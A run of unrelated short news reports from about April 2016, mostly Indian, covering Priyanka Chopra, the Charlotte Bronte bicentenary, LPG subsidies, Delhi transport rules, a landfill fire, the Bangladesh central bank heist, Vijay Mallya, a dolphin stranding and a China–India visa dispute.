What a way to start the day! #Time100s list of achievers! Humbled, overwhelmed and feeling so blessed! pic.twitter.com/oFp9pGlHLI  PRIYANKA (@priyankachopra) April 21, 2016

We always quote the saying, Wear your success like a T-shirt, not like a tuxedo, and she really does as big a star as she is, as global as she is, as beautiful as she is, theres this interesting quality of relatability.

Johnson said he is lucky to be co-starring Priyanka in the movie and finds her inspiring.

Now Im lucky enough to be working with her on Baywatch. Its an amazing time to watch as she pierces the US market. She has an ability to inspire people to do more and achieve more.

Read: Priyanka Chopra gets her own special Times most influential cover

When I look at her success from the 50,000-ft view and see everything that Priyanka has already done, is currently doing and has the desire and the bandwidth to do, I can see that her impact is going to be invaluable.

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Britain marked the 200th birth anniversary of Charlotte Bronte on Thursday. The Victorian novelist is best known for her timeless classic Jane Eyre that has haunted generations of readers.

Fans of the celebrated book hosted a birthday party at the house in northern England where Charlotte and her sisters Emily and Anne grew up and wrote books.

Read: 5 forgotten literary classics to curl up with on a rainy day

The anniversary highlights the enduring global popularity of the Brontes, whose works are seen as among the most important ever written by female authors.

A wreath will be laid for Bronte in Westminster Abbey on Friday and a ballet version of Jane Eyre will open next month, while the National Portrait Gallery is hosting an exhibition in her honour.

The Bronte Parsonage Museum in Haworth, a remote village on the edge of moors in Yorkshire, draws tens of thousands of visitors from around the world each year, while the sisters books are staples in British bookshops and school curriculums.

Charlotte was the oldest of the three Bronte sisters. (Facebook/Charlotte Bronte)

Charlotte, Emily and Anne Bronte were a clergymans daughters who wrote for pleasure and dreamt of becoming published authors but feared they would not be taken seriously because they were women.

They therefore adopted the pseudonyms of Currer, Ellis and Acton Bell when they sent Jane Eyre, Wuthering Heights, Agnes Grey, and The Tenant of Wildfell Hall to publishers in the 1840s.

Emily Bronte fell ill with consumption and died in 1848, followed by Anne the following year. Charlotte lived for six more years before dying in Haworth in 1855 aged 38.

Dancers Hannah Bateman and Javier Torres, from the Northern Ballet, who will play the roles of Jane Eyre and Mr Rochester, perform a piece from the dance companys upcoming World premiere of Jane Eyre at the National Gallery in central London on April 20, 2016. (AFP)

Jane Eyre, which has never been out of print in Britain, tells the story of the heroines youth as an orphan and how she falls in love with her employer, Mr Rochester, while working as a governess.

Charlotte Brontes other works include Shirley and Villette.

Her biographer Claire Harman told the BBC this month that she was someone who both longed to be forever known, but clung to anonymity in order to achieve it, a woman much more concerned about truthfulness than personal fame and someone who felt compelled to put into words her own terrible sufferings... as being the only way to deal with them.

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Out of 16.5 crore LPG users, 1.13 crore people have given up their cooking gas subsidy as part of the Give It Up programme of the government rolled out in March 2015. This has helped the government to save Rs 1100 crore in subsidies.

We appealed to affluent Indians to give up their LPG subsidy voluntarily. Now we have an outreach programme to ensure people earning over Rs 10 lakh per month to give up subsidy said Dharmendra Pradhan, minister of oil and natural gas.

This money will be used to provide LPG conections to poor families. As part of the Pradhan Mantri Ujjwala Yojana, announced in the Budget on February 29, 5 crore LPG connections will be provided to BPL (below poverty line) families over the next 3 years. The cabinet recently set aside Rs 8000 crore for this scheme; of this Rs 2000 crore will come as budgetary support. Prime Minister Narendra Modi will officially launch the Ujjwala programme on May 1.

The scheme provides for a financial support of 1,600 for each LPG connection to the household. And an EMI facility will also be extended to families unable to bear the cost of buying new cylinders.

The ministry of petroleum and natural gas has already starting this LPG programme from April. 60 lakh families belonging to the BPL category have already got LPG connection under the Ujjwala programme said Pradhan.

Critical to the success of this scheme is the distribution network of Oil marketing companies like Indian Oil Corporation, Bharat Petroleum Corporation and Hindustan Petroleum Corporation, who have 17500 distributors strewn across the country. The oil ministry is ensuring that 10000 new distributors are identified this year to ensure smooth operation of the Ujjwala scheme.
From June, you can go to a mobile app and book yourself a seat on a bus with air-conditioning, WiFi and none of the pushing and shoving you would experience on the regular city buses.

The Delhi government on Friday announced plans to introduce bus services on the lines of taxi aggregators Uber and Ola in an attempt to woo car users.

Any company with a fleet of 50 buses or more can apply for a licence, it said. Registrations start June 1, and the government hopes to have the buses hit the road by mid-June.

Read | Ola, Uber introduce schemes to woo Delhi govt amid surge pricing row

It also announced strict rules such as fixed seating, app-based ticket bookings and online payment.

Linking the bus aggregator policy to the governments odd-even scheme, Delhi transport minister Gopal Rai said, We had the support of car owners in the first round of odd-even (in January) because the weather was good. But this time, because of the heat, they are hesitant to leave their cars. Since we have thought of enforcing odd-even every month, we must give them an option that is both comfortable and convenient.

Not an entirely new idea, Ola and Shuttl are running over 1,000 such buses in Gurgaon, Noida and Ghaziabad. But they are largely used as a feeder service to the Metro, plying on distances of four-five kilometers at fares of R20-25. Like the app-based cabs, these buses dont have a permit to ply and are not controlled by any government agency.

The AAP government plans to turn them legit and run them on longer routes.

Read | Suspension of surge pricing means you wont find cab on time: Uber

The AC buses will come with internet and CCTV cameras, while the app will have an inbuilt panic button to address concerns over womens security. The company will freeze bookings five minutes before the journey and upload travellers details on its website to ensure transparency and security, Rai said.

The aggregator will decide routes and fares, but the minister said an upper cap on ticket prices can be fixed if there are complaints of overcharging.

There will be heavy penalties for violations. If a driver picks up unauthorised passengers, the fine will be Rs 2,500; Rs 5,000 for other violations. Repeat offenders will have to pay Rs 5,000 per day, Rai said.

Read | Commuters turn to autopooling as drivers overcharge

The aggregators wont be allowed to cancel trips. But if they do so due to unavoidable circumstances, passengers will be refunded double the fare. If they cancel trips without giving a reason, they will have to pay 10 times the fare.

Only CNG buses will be allowed and parking will be the aggregators responsibility.

The government will set up a grievance redressal centre where passengers can come with their complaints.

Companies with 100 buses will have to deposit a bank guarantee of Rs 25 lakh while the amount for those with bigger fleets is Rs 50 lakh. For those with over 500 buses, the bank guarantee will be Rs 1 crore.
Anwar Khan, 57, describes the Bhalswa landfill in his neighbourhood as a mountain of fire. He says though the dump has been simmering continuously for the past decade, the authorities have done little to clean the foul air.

Initially, when I moved to the area, I couldnt stand the stench. But I have got used to it now. At night, you can see tiny fires across the landfill. This leads to smoke spreading in the area, said Khan.

Commissioned in 1993, the Bhalswa landfill site became functional in 1994. However, due to lack of any garbage management laws, the site soon turned into a mountain of garbage. Though the landfill ran out of space in 2007, the municipality continues to dump trash here in the absence of other dump yards.

Local residents say their complaints have fallen on deaf ears over the past decade. They say the only solution is moving out of the area.

Also read: Bhalswa landfill on fire, AAP govt alleges sabotage

Our relatives rarely visit us as the smell is unbearable. We have to keep the doors and windows of our house shut to keep out the stench, said Sunil Singh, 27, a local resident.

Another resident complains about how the wind spreads the smoke. During windy conditions, we cant breathe. Most senior citizens are suffering from respiratory diseases due to the smoke, said Amarpal, a 24-year-old resident.

Truck drivers who dump garbage atop the garbage pile have their own story. Initially, we used to unload trucks atop the landfill. That is no longer possible. Truck tyres would burst in the heat, said Chinnu Singh, a truck driver.

Singh further said many workers had got injured trying to douse the fires that break out often on the landfill.
After taking action against app-based taxi services for surge pricing, the transport department has initiated a drive against auto-rickshaw drivers for overcharging.

Till Friday evening, 170 autos were challaned for refusing to go by the meter. Transport minister Gopal Rai said the drive would continue as complaints are trickling in.

The action on surge pricing was based on complaints and this action is also a result of complaints by commuters. We will not compromise with the convenience of the passenger, said Rai.

The commuters, however, continued to face a harrowing time.

Action should be taken against those who are refusing to ferry commuters. I had to go from Saket to High Court. Exactly 15 autos refused, one of them even asked for Rs 200. After waiting for more than half-an-hour, I booked an Ola cab and reached my destination in Rs 140, said Sanya Saxena, a media professional.

Another commuter Tarun Singh, shared a similar story, I was refused by at least dozen autos at Nehru Place. Finally, I booked an Uber and reached home.

Rai said due to the heat, more passengers have shifted to Metro trains than buses. The Delhi Transport Corporation and cluster buses together carried over 50 lakh passengers while Delhi Metro carried around 30 lakh passengers on Thursday.

No action was taken against app-based cabs for surge pricing on Thursday and Friday.
A Delhi court on Friday granted interim bail to Ved Prakash, the man who threw a shoe at chief minister Arvind Kejriwal during a press conference on April 9.

Metropolitan magistrate Abhilash Malhotra granted bail to Prakash while noting that he was suffering from hepatitis and needed treatment. The metropolitan magistrate, however, asked Prakash, 28, to furnish a personal bond of Rs 25,000 and a surety of the same amount.

The court also directed him to maintain peace in society and good behaviour.

Ved Prakash is the national general secretary of the Aam Aadmi Sena  a breakaway group of the Aam Aadmi Party.

The court had earlier denied the mans bail petition, saying a strong deterrent was needed against such acts. Applying for bail after his judicial custody ended, advocates Pradeep Rana and Ravin Rao told the court that Prakash was very ill.

The court heard from the medical examiner of Tihar Jail, who had on April 12, sent a report saying that the accused complained of fever decreased appetite, vomiting and passed dark colour urine.

Examinations later revealed that Prakash was suffering from a liver infection.

Given his medical condition, the court hence allowed bail to the accused. Keeping in view the medical condition of the accused and without going into the merits of the case, the accused is admitted to interim bail, the court said.
The central bank of Bangladesh lost $81M in a digital heist whose perpetrators have not been caught, thanks in large part to the bank's decision to run its computers without a firewall, and to run networking with second-hand cheapie routers it sourced for $10 each.



The hackers almost got $1B, but made a spelling mistake on a transfer order tipped off bank personnel, interrupting the hack.

The cheap routers were unable to segment the private and public-facing functions of the bank's IT, and kept minimal logs, which hampered forensic investigations.

The money was transferred to private accounts and casino accounts in the Philippines, from which much of it has yet to be recovered.

The hack took place in early February and involved hackers getting access to the core network of Bangladesh's central bank. They used this privileged access to transfer cash from Bangladesh's account at the Federal Reserve Bank of New York to other banks.



A spelling mistake in one of the transfer orders alerted bank staff and meant the hackers only managed to steal $81m. This has been traced to accounts in the Philippines and to casinos in the same country. Most of the cash has yet to be recovered. Bank security experts said the bank should have spent more time and money protecting the network for its central bank.



"You are talking about an organisation that has access to billions of dollars and they are not taking even the most basic security precautions," Jeff Wichman, a consultant with cyber firm Optiv, told Reuters.

$10 router blamed in Bangladesh bank hack

[BBC]
If congestion levels in the Capital are not controlled within the next five years, Delhi could face the fate of Bangladeshs capital Dhaka, where the average speed of vehicles on to road is the same as that of humans walking, says a leading urban transport expert.

Congestion cant be reduced by building more roads. You cant cure obesity with bigger pants, says Shreya Gadepalli, the South Asia Regional Director at the Institute for Transportation and Development Policy (ITDP), a global non-profit institute that helps cities worldwide in creating sustainable and equitable transport systems and people-friendly environment.

Commending Delhi Governments odd-even scheme, Gadepalli said the government should leverage this opportunity to dramatically improve public transport in the city.

Road rationing works well as an emergency short term measure. But you cant cure a cancer with pain killers. Effective long term solutions are required. First, dramatically augment public transport. Second, stop building more roads for cars and use tools for efficient use of available road space, she said.

During the first stint of the odd-even rule in Delhi, streets saw more than a third of the traffic drop, leaving at least a lane in each direction free. It showed that there is sufficient space for a high quality bus rapid transit system at street level on almost all arterial roads. The key is to make BRT high-quality like a metro, not inflexible like a metro, she said. Why build elevated BRT when a street level BRT is not only cheaper but better, she asked.

Negotiations are on between Delhi Government and Delhi Development Authority for depot land for additional buses. 2000 crore rupees, the money that DDA wants, is a pittance compared to the proposed investment into elevated roads in and around the city. This money will serve the mobility needs of millions of people compared to only a few lakh car users that will benefit from elevated roads, said Gadepalli.

But where would the money come from. Rarely, if ever, do urban toll roads earn money for the government. They only add more space for cars at the cost of public funds. Demand-based parking fee and congestion pricing are much better tools to not only ensure efficient use of limited road space but also generate enough funds good bus service, said Gadepalli. For every kilometre of street with market-based parking fees, enough money can be generated for not just better footpaths on that stretch; 10 additional buses can be brought into service, she added.

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A Class 1 student of All Saints School in Bhopals Gandhinagar area was allegedly denied result after his father refused to pay Rs 250 charge without receipt. The CBSE-affiliated school finally issued the result on April 24 after the intervention of the district education officer (DEO).

The school management has denied the allegations.

The incident comes only days after a private school in Kolar area was issued show cause notice by the DEO for not allowing an aspiring Class 11 student to attend class allegedly citing low marks in the Class 10 pre-board examination.

Mohd Alizer was allegedly not given his result after his father declined to pay the charge collected by the school for issuing marksheet. To mount pressure on his parents, the school administration even did not allow the child to board the school bus.

My son was not allowed to take the school bus homeThe bus driver and helper instead told him to send his parents to the school to settle the payment issue, Mohd Shakeel, father of the Class 1 student said.

My sons class teacher asked me to collect my sons results on March 8. When I reached the school I was told to deposit Rs 250 for the result, but the teacher refused to give any receipt against the transaction, he said.

Mohd Shakeel approached DEO Dharmendra Sharma on March 9 and lodged a formal complaint following which the DEO wrote to the school administration seeking an explanation. Sharma again wrote to the school on March 24.

Yes, the school was not ready to give the result and then I had to write to the school administration. After much correspondence, the school finally sent the result to our office, Sharma said, adding: The behaviour of the staff and teachers was biased towards the child after the issue, so I asked his father to change the school.

However, when Shakeel applied for transfer certificate on Thursday, the school administration refused to refund the fees for April to July. The school demanded Rs 50 for the TC, but again refused to issue receipt, he said.

I understand Rs 50 is not a big amount, but it is beyond my understanding why the school cant give receipts for the payments they keep charging every now and then, Shakeel added.

Denying the allegations, school administration in-charge Shafi said: It is our rule to take Rs 250 for result and almanac. We wont change our rules for someone. Had he (Mohd Shakeel) wanted the receipt for Rs 250 we would have surely given the same to him. Shafi also accused some parents of being absolutely ill-mannered at times.

Another parent, Anas Khan, however, told HT: Yes, Rs 250 have to be paid for result every year and they (the school) do not provide any receipt for it.

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Nepal is witnessing an increasing number of tourists of late, especially in the areas it shares a border with Bihar. Strangely, these tourists are neither interested in the Himalayan countrys pristine natural beauty nor in its rich cultural heritage. They enter Nepal only to get drunk.

Small traders in Nepal are reaping the fruits of a complete ban on alcohol in Bihar. People are now flocking to this hill country for their share of drinks, even though these might be of low quality.

Following the ban, there has been a dramatic rise in the number of people crossing the border into Nepal to have a drink, said a local trader.

Border points have flourished, with bars sprouting all over the place targeting customers from adjoining districts of the state. Lately, the number of customers coming to Biratnagar from Jogbani has increased significantly, he added.

According to SSB sources, the Nepal side of the porous international border has witnessed a sudden rise in small huts to target alcohol drinkers from Bihar.

Nepal and India have an open border and people on both sides do not require visas, but this is the first time that such a large number of people have been crossing the borders just to consume alcohol.

At a recent meeting at Forbesganj, authorities sought help from their Nepali counterparts to curb the movement of people for liquor tourism.

Toyam Rai, chief district officer of Sunsari district who led the Nepali team, said that due to the porous international border, there was high chance of smuggling of alcohol from Nepal to Bihar, and so the Bihar authorities asked for cooperation to prevent it.

District magistrate of Araria, Himanshu Sharma, the SP and others also attended the meeting. Sources said mostly people from the working class cross the border for alcohol. On holidays, businessmen and youth also cross the border on a large scale, they added.

Sunsari (Nepal) SP Sandip Bhandari said in this new situation, there could be new security threats along the border. We are also concerned that after the ban, criminals may sneak into Nepal, he added.

UP excise department officials also vouched for a sudden spurt in sale of desi (Indian made) liquor and Indian Made Foreign Liquor (IMFL) in Kushinagar and Deoria districts bordering Bihar since the enforcement of prohibition.

Sale of beer has also seen a substantial jump, said the official, attributing the increase to the ongoing wedding season coupled with the Bihar ban. Sales is usually up in wedding season, but this season the increase is substantial, the official said.

Sources also said large scale smuggling of liquor into Bihar is also witnessed from the two border districts. We have alerted the police, the official said, conceding that it would be impossible to stop revellers from crossing over to UP and enjoying a drink or totally prevent liquor being smuggled into Bihar.

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The Opposition Congress demanded on Friday that National Investigation Agency (NIA) chief Sharad Kumar  who has been hired on contract post retirement  be sacked for allegedly trying to weaken terror cases involving right-wing groups at the behest of the Narendra Modi government.

Accusing the Centre of trying to sabotage cases such as the 2008 Malegaon blasts trial that points at the possible role of senior Rashtriya Swayamsevak Sangh (RSS) leader, the Congress also demanded that all cases being investigated by the NIA be placed before the Supreme Court.

It is surprising that the NIA director general was given an extension after retirement. Is there a shortage of competent IPS officer? We want his immediate removal, Congress spokesman Ajoy Kumar said. The NIA chief had recently said that there was no case against Lt Col Shrikant Purohit in Samjhauta blast case.

The Congress spokesman accused the BJP of misleading the country as Purohit is accused in the Malegaon case and not Samjhauta express blast.

Modi government, in an almost Goebellian way, is trying to tell people that Col Purohit has got a clean chit in Samjhauta Express blast. Col Purohit not an involved in the Samjhauta Express blast. Why is the NIA giving him a clean chit on this? This shows how the Modi government is trying to divert all the discussion on this investigation, the Congress spokesman said.

Congress demand came on a day the BJP launched a full scale attack against it for coining saffron or Hindu terror terminology and compromising on national security for political gains.

Use of such phrases by top Congress leaders almost one and an half year before cases were properly transferred (to NIA), when there was no probe report or courts proceedings raises a big question about their intentions... (they) make it appear that this was not the natural outcome of investigation, BJP spokesman Sudhanshu Trivedi said.

Trivedi said the saffron terror phrase was first used in 2009 and then Congress vice president Rahul Gandhi had reportedly said in an interaction in July 2010 that Hindu terrorism was more dangerous than other terrorism.

Earlier, the Congress spokesman said, Since Modi Govt came to power we have seen witnesses turn hostile. Be it in the Samjhauta Express, Ajmer or Malegaon Blasts. Accusing that pressure was being put on NIA to safeguard the RSS, Kumar said three witnesses turned hostile in Ajmer blast case.
The carcass of a seven-foot Indo Pacific humpbacked dolphin washed ashore at Gorai beach on Thursday afternoon. This was the fourth such incident this year and the total number of reported cases increased to 12 over the past year.

According to forest officials, the dolphins carcass had washed ashore between Palm Beach and Sun Beach at Gorai around 3pm. After the spotting the dead mammal, the police informed the forest department that reached the spot by 4pm, said Ankit Vyas, volunteer, forest department adding, There were no visible injuries on the dolphins body. It was clear that it had died more than 10 days ago.

Vyas added that the dolphins internal organs had burst open from its mouth. Owing to the body being heavily mutilated, we were unable to carry out a postmortem. We buried the carcass at the beach where it was found on Thursday evening, he said.

A fisherman who had spotted the dolphin said that the likely reason for its death could be choking on plastic or an infection. While fishing, our nets come out of the water with at least 50 bags of plastic. There have been a lot of mammal deaths in the deep seas because of plastic getting stuck on their body, said Dhananjay Koli, fisherman from Gorai.

Wildlife activists pointed out that despite numerous letters sent to authorities on such deaths, there has been no response. There has not been a single reply from authorities either justifying or inviting us for a dialogue regarding marine wildlife conservation and management. The increasing number of incidents will only add to the disappointment of people and loss of several such majestic creatures, said Pawan Sharma, founder, Resqink Association for Wildlife Welfare (RAWW).

N Vasudevan, chief conservator of forest, state mangrove cell said, At the moment, we do not have the required expertise to deal with instances of mammal deaths. However, along with veterinarians and experts from abroad, we have begun training local fishermen, villagers and forest officials to conduct postmortems and file conclusive reports for causes of mammal deaths across Maharashtra.

Past instances:

DECEMBER 13, 2015: The carcass of a two-and-a-halffoot-long finless porpoise, protected under the Wildlife Protection Act, washed ashore near Haji Ali Dargah

NOVEMBER 27, 2015: The carcass of a six-and-a-halffoot-long Indo-Pacific humpback dolphin washed ashore near Bhagwanlal Indrajit Road, Malabar Hill

JULY 22, 2015: A six-foot-long carcass of an Indo-Pacific humpback dolphin with injuries on its body was discovered on Bhuigaon beach in Vasai. The high tide carried it back into the sea, said local fishermen

JUNE 17, 2015: The carcass of a seven-foot-long dolphin was found on Vasai beach

JUNE 1, 2015: The mutilated carcass of a humpback whale was found on Manori beach. Only the skin and skeleton of the whale could be recovered, as all the other body parts were decomposed.
Beijing has reacted angrily after India granted a visa to a Germany-based Uyghur activist, branded a terrorist by the Chinese government, to attend a conference on democracy in Dharamsala later this month.

Munich-based Dolkun Isa, from the World Uyghur Congress (WUC), has been accused of terrorism and conspiracy to kill people in Xinjiang in Chinas remote northwest. The WUC is a grouping of the Uyghur community outside China.

The moves comes against the backdrop of China blocking an Indian bid to sanction Pakistan-based Masood Azhar, the head of the banned Jaish-e-Mohammed, at the UN Security Council. China imposed a technical hold on the move, saying more information is needed on the matter.

Dolkun Isa is a terrorist on red notice of Interpol and the Chinese police. Bringing him to justice is a due obligation of relevant countries, Chinas foreign ministry told Hindustan Times in an emailed response late on Thursday.

Read: China: Exiled Uyghurs demand probe into 2009 ethnic riots

The brief reaction was couched in diplomatic language but reflected Beijings anger.

The conference to which Dolkun Isa has been invited will be held between April 28 and May 1at Dharamsala, the seat of the Tibetan government-in-exile, and this has added to Beijings unease.

Exiled Chinese activists from around the world will gather to discuss democratic transition in China. Dharamsala-based Tibetan spiritual leader Dalai Lama, labelled a separatist and a wolf in sheeps clothing by China, is expected to address the meet.

The conference is being organised by US-based Citizen Power for China, which is led by Yang Jianli, who was involved in the 1989 Tiananmen Square protests.

Munich-based Dolkun Isa, who was granted asylum by Germany in the late 1990s, confirmed to Hindustan Times on email that he had received an electronic visa from India and is looking forward to his first visit to the country.

Yes, I am invited one of the conference in Dharamsala which will be held between 28 April and May 1. I am planning to go, so I have got the electronic visa for India, he said.

I really want to visit India because I have never been (to) India, he said. India is one of my dream (countries) to visit.

Read :Policies in Xinjiang brutal, cause trauma among Uyghurs

The Xinjiang region has seen rioting and frequent violence between the local Uyghur population and government forces. Exiled Uyghur activists say the violence is a result of Beijings hardline policies and a reaction to the governments efforts to subsume the unique local culture.

Dolkun said India and East Turkistan  the historical name of the region that China says separatist Uyghurs from Xinjiang are fighting for  had good relations.

I would like to enjoy Indian culture. East Turkistan and India had a long and very good relationship in the history. Uyghurs love Indias people, he said.

Talking about India and China, Dolkun said: India is the worlds largest democratic nation and second big population after China. But China is still under totalitarianism rule. India has the responsibility to teach democracy to China.

Dolkun acknowledged he has to be careful about his travel plans because of the Interpol notice against him.

The Chinese government has made me an accused with Interpol and my name is on red (corner) notice. Because of this, I have faced troubles in some countries immigration. I was detained at the border of some countries. I have to be careful about travelling except in the European Union, he said.

World Uyghur Congress spokesperson Dilxat Raxit said he hoped the Indian government was following the situation of Uyghurs in Xinjiang and would voice its solidarity with their fight for justice.

The controversy comes at a time when top Indian leaders, including external affairs minister Sushma Swaraj and National Security Adviser Ajit Doval, have raised the issue of China blocking Indias bid to sanction Masood Azhar at the UN.

The new row, coupled with the question of Azhar, could cast a shadow on President Pranab Mukherjees visit to China in late May.
India on Friday said it will take a decision at appropriate time regarding a visit by an NIA team to Pakistan in connection with Pathankot terror strike even as it asserted that Indo-Pak dialogue has not been suspended.

India has also asked Pakistan to take all necessary steps for ensuring safety, security and well being of all Indians in Pakistani custody, especially in light of the mysterious death of Indian prisoner Kripal Singh in a jail there.

Read | Pakistan hands over Kirpals body, autopsy conducted

Asked about Pakistan Prime Ministers Adviser Sartaj Azizs remarks that they may consider allowing a visit by the NIA team if India would make a formal request, external affairs ministry spokesperson Vikas Swarup said, The (Pakistan) JIT visit was held in a constructive and cooperative environment to investigate the Pathankot Air Base attack.

We welcome cooperation to combat all forms of terrorism... The investigations are ongoing. We will consider the next step at appropriate time.

On the status of Indo-Pak dialogue, Swarup said, Multiple conversations have been held between India and Pakistan at multiple levels including at the level of the two Prime Ministers who spoke to each other quite recently.

Read | Send us all witnesses, else 26/11 trial will be delayed: Pak to India

Obviously, after the Pathankot terror attack, the focus of the conversations was on the investigation of that particular attack. However, other aspects of the relationships have also been discussed. I have made statements and so has my Pakistani counterpart. So this should give you clarity that the dialogue process has not been suspended.

Earlier this month, Pakistan High Commissioner Abdul Basit during an interaction with media in New Delhi had said, I think at present the peace process between India and Pakistan is suspended.

Asked about safety and security of Indian prisoners in Pakistani jails and whether the issue has been raised with Pakistan in view of Kirpals death, Swarup said, Yes.

Through our High Commission in Pakistan, we have asked the government of Pakistan to take all necessary steps for ensuring safety, security and well being of all Indians in Pakistani custody. And, naturally this has been reiterated in light of what has happened with Kripal Singh.

India-Pak talks: We are back to square one
Indias sugar and cotton output is showing signs of falling for the first time in five years and insufficient pulses production could keep prices high, early estimates showed in the midst of a crippling drought across a vast swathe of the country.

However, the country will still have a surplus of cereals despite back-to-back drought trimming overall foodgrains output from normal-year levels.

Sugar output is projected to fall between 8% and 10%. India is the worlds second-largest producer of the sweetener and also the biggest consumer. Cotton production has already dipped 10%, figures for April show.

Sugar output has been hit the hardest in Maharashtra and Karnataka, two states worst-affected by drought. According to the Food and Agriculture Organisation, over 35 million farmers grow cane, making up 7% of the rural population.

A 14% deficient monsoon has caused a severe drought in 256 of the countrys 640 districts, or about 40% of the country, stoking a challenging rural distress for the Modi government.

The agriculture ministry expects a slightly higher pulses output of 17.33 million tonnes in 2015-16, compared with the previous years 17.15 million tonnes, but it is still short of the 27 million tonnes needed. The gap is mostly met through costly imports, which keep prices high.

In February, retail pulses prices rose 37%, in contrast to wholesale prices falling for the 17th month in a row in March. Contradicting the governments projections, Ajay Saraf, an analyst with the firm ComTrade, said: We expect pulses output to be lower than last years.

The food ministry had asked states to submit their expected pulses demand. On Thursday, the government decided to distribute 10,000 tonnes to states from a 55-lakh tonne newly-created reserve, anticipating shortages. The government has also asked state authorities to monitor price movements.

Estimates of the Indian Sugar Mills Association show output between October last year and April 15 stood at 24.3 million tonne, about 2 million tonne short than the 26.4 million tonne during the previous years corresponding period. ICRA, an investment firm, foresees a steeper sugar shortfall of 10% in 2016, the firm said in a review.

In 2015-16, the countrys cotton output stood at 34.1 million bales of cotton (of 170kg each), against 38.2 million bales, according to data from the Cotton Association of India.

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The last-minute refusal of admission to virtually hundreds of children belonging to economically weaker section (EWS) by private schools has left their parents writhing under anguish.

The admissions were supposed to be held on April 18 through draw of lots under Rule 134 A of the State Education Rules, 2003 (amended in 2013) in all the districts of the state.

While the Right to Education (RTE) Act is applicable only to Class 1 (25% seats) in Haryana, it is Rule 134 A of the Haryana School Education Rules that directs the private and aided schools to reserve 10% seats for EWS students for Classes 2 to 12. The draw of lots for these classes, which was scheduled to be held on April 18, was abruptly suspended by the government, without citing any reason.

The state government on Thursday claimed that the delay was because of confusion in admission criteria which had now been resolved and the admission process would be restored soon.

Parents complain

However, the parents seeking admission for their children in various districts of the state told HT that the schools were still denying admission to their wards.

Brij Pal, who runs a non-government organisation (NGO) in Bhiwani, said more than 5,000 children there were left in lurch and he would hold a protest against the state government and schools on Friday.

No clarity on merit condition

A senior official of the state school education department said that the admission process had to be abruptly suspended even before beginning it, as there was no clarity on the condition of merit of the applicants. All the applicants belonging to poor families  below poverty line (BPL) and EWS  sought admission in private or government-aided schools under the Rule 134 A and their were no criteria to select them in the schools which had only limited seats.

Now, the government has decided that all the BPL and EWS applicants would be given admission as per a merit list. It has also been decided to give appropriate amount to the private and aided schools admitting these children as per the rules, a senior official said and added that an announcement in this context would be made soon.

No school got reimbursement

Kulbhushan Sharma, president, Federation of Private Schools, Haryana, however, alleged that the state government was only confusing the issue as it had not given any reimbursement to any school, despite the fact that the private schools had been admitting poor children ever since the relevant rules came into effect. Also, the state government has now been directed by the Punjab and Haryana high court too to pay us the reimbursement, yet it has not given us any reimbursement, he added.

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The government is committed to bringing back liquor baron Vijay Mallya to the country to face proceedings for not paying back loans worth over Rs 9,000 crore, external affairs ministry spokesperson Vikas Swaroop said on Friday.

The comments came a day after the enforcement directorate  probing the industrialist for defaulting on loans  approached the foreign ministry to initiate deportation proceedings against Mallya, who is currently in the United Kingdom.

The government is committed to bring him back to face justice, currently we are in the process of consulting various agencies, Swaroop told reporters in Delhi.

We are considering legal experts in this matter, he added when asked about the ED request for deportation.

Read: EDs charges against Mallya shocking, warrant unjustified: UB Group

The comments indicate the Centre is contemplating getting tougher on Mallya, who has till date appeared unfazed by debt recovery pressure from banks and central probes.

He refused on Thursday to reveal details of properties he holds in the UK, saying Indian banks had no jurisdiction on his foreign assets. The 60-year-old is said to hold around Rs 780 crore worth assets abroad.

Mallya left India in March, triggering outrage as he is under probe by the Central Bureau of Investigation (CBI) and the ED for defaulting on loans taken by his now-defunct Kingfisher Airlines.

A consortium of 17 banks led by the State Bank of India has approached the Supreme Court to recover their money.

As on date, KFA owes Rs 9,300 crore to banks and various government departments in loans, interests and other dues.
Dion McGregor talked in his sleep. But he did more than just that: he narrated tales so dark his roommates began recording them for the world to hear.

Normally, we can only catch a few shards of the shattered dreamscape; as much as we may try to cling onto the fragments of thoughts, feelings and sensations, they soon evaporate in the glare of our waking consciousness. In contrast, McGregor's tapes offer hundreds of hours of one man's slumbers narrated in astonishing detail. The stories are full of eccentric characters like Edwina; they occupy a sinister place where a simple Lazy Susan can suddenly inspire a dangerous game of Russian roulette.

One intriguing finding from a study of the transcripts: his stories are less bizarre than "average" dreams. [via @greatdismal]
In less than a month, second Indian Administrative Service (IAS) officer of Haryana government was held guilty of contempt by the Punjab and Haryana high court, on Thursday.

A single judge bench of justice Rajesh Bindal held director, secondary education, ML Kaushik, guilty of contempt of court in a matter related to appointment of some school teachers. The Supreme Court, too, had issued directions in favour of the teachers concerned. The case was under litigation since 2010.

On March 30, the same bench had held officials Vijai Vardhan, an additional chief secretary, and former Haryana Public Service Commission secretary Bhupinder Singh guilty of contempt of court in matter of regular recruitment of assistant professors in state colleges.

On Thursday, the court was told that Kaushik was in West Bengal on assembly election duty and a junior official had been deputed in his place. Dissatisfied over the handling of the case, justice Bindal has now summoned Kaushik for May 9, when the quantum of punishment will be pronounced.

The petitioner teachers had argued in the contempt petition filed in 2015 that the Supreme Court in April 2015 had directed for giving appointment to the petitioners within three months, but the order was not complied with. After filing of the petition, one of the teachers was issued appointment letter on March 18, 2016, and when she went to join duty at Arya Senior Secondary School, Narwana, she was informed that there was no post available for her.

Another petitioner was issued a joining letter of Anglo Sanskrit Secondary School, Pundri, which didnt exist.

The aforesaid facts (some facts recorded in March 30 order) established that leaving the order passed by this court, even the orders passed by the Supreme Court, are taken casually by the officers. It is very rare that the orders of the courts are complied with within the time granted. Majority of the orders are complied with only after the contempt petitions are filed and that too after two-three dates of hearings or when the officer concerned is summoned to appear in person, justice Bindal observed in his March 30 order, summoning Kaushik for Thursday.

But Kaushik failed to appear which prompted the court to hold him guilty of contempt of court.

--

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India and China might not be close to resolving their border dispute but patient negotiations and clearing the air on incidents in post-colonial history could go a long way in breaking barriers, experts have said.

For one, India could make public the reasons behind annexation of Tawang in Arunachal Pradesh in 1951, said Neville Maxwell, author of Indias China War that is banned in India.

India annexed Tawang in February 1951... China did not protest at the time  being fully engaged in Korea, and (did) not made a public issue of it since then; but they have made it known that they would expect retrocession as part of a settlement, Maxwell told HT.

The McMahon Line puts Tawang into India, but in their last few years the British had second thoughts and proposed to the Tibetans that the McMahon Line should be modified to run the boundary through Se La, thus leaving Tawang in Tibet, where it was when India became independent (in 1947), he said.

The thinking in Delhi that led to Indias annexation in 1951 is not known, the documents that would illuminate that have not been released, Maxwell added.

Maxwell, 90, who had famously and erroneously predicted the end of Indian democracy in the 1960s, said negotiations on the border issue will not be easy.

